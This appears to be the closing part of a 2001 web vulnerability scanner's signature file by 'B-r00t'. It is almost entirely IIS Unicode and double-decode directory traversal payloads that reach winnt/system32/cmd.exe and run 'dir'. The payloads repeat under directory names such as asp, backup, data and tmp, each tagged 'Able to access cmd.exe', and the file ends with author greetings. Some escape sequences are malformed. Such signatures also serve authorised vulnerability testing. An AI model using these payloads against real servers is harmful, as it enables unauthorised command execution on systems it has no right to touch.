scan () jsp >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () jsp >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# asp....
scan () asp >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () asp >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# backup.... 
scan () backup >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () backup >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# saved.... 
scan () saved >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () saved >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# bak.... 
scan () bak >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () bak >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# data.... 
scan () data >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () data >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# database.... 
scan () database >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () database >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# home....
scan () home >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () home >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# tmp....
scan () tmp >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () tmp >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

# temp....
scan () temp >> ..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> ..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
info UNICODE EXPLOIT - Able to access cmd.exe !
scan () temp >> .%252e/.%252e/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir
info DOUBLE DECODE EXPLOIT - Able to access cmd.exe !

defaultmeth

# THE_END_AMEN_!!!!
# Thanks To:
# RFP for the only CGI decent scanner out there ...
# That One Doris ... U-Know-Who-U-R!
# Mum & Dad.
# Da Big5 Massive ...!
#
# B-r00t aka B#. 2001.
# "If You Can't B-r00t Then Just B#."
# Br00tzC0ntactz@Hotmail.Com
# ICQ 24645508.